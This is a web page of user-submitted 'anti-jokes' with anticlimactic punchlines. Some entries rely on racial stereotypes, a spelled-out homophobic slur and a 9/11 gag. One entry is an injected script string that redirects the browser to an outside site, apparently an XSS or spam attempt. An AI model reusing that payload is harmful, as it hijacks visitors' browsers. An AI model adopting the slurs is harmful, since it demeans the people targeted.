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What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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What did the black man get for christmas? A present.

Your mom is so ugly that you should buy her a paper bag to cover her face because she is just so very unattractive that it burns mine and everyone else's eyes.

Q: What's the difference between Osama's death and Paris Hilton's bra? A: One is Osama's death and the other is Paris Hilton's bra.

So one time there was this woman learning...

Q: what do you call a deer with no eyes A; roadkill

Why did the chicken cross the road? To get to the other side. Why did the baby cross the road? It was stapeled to the chicken

jim davidson , nick griffin , and bernard manning walk into a bar , and order a bitter, a lager, and a stout respectfully

Roses are red. Violets are blue. I have alzheimers. Cheese on toast.

there was a tv sitting on the side of the road.. person 1: hey why doesn't that tv work? person 2: because it's broken?? person 1: no..because its not plugged in!

Roses are Expensive. Violets are Gay. Poems are for pussies... Have a nice day!

5 Italian guys from Long Island

why did my BFF hate me?i called her an idiot on all the holidays including her birthday

"Hey ask me if i'm fat" "Are you fat" "Leave me alone"

Q: What do you call a black man with no arms and no legs? A: Whatever his first name is.

"'>document.location.href="http://cramik.org"

Kid One: "Hey, you! Do you know how to spell "I CUP'?" Kid Two: " Sure, F-A-G....G-O-T..." Kid One: ".........."

Why was darren too late for school today...? She got hit by the bus

Your mom is so fat, that i don't think she's attractive anymore.

yo momma so fat... she went on a calorie controlled diet and lost 3 stone, she's a really nice lady too.

Q:What did the homeless guy say to the business man on the cell phone A: Nothing because he doesn't want to disturb his phone call

Why did the tomato blush? It didn't, tomatoes are naturally red by colour.

what is black white and red all over? A black and white movie with the first violent color leave a comment if this joke is duped.

What did the black girl say when sho dropped her phone? Oh crap, I dropped my phone.

What's worse than losing your phone? 9/11

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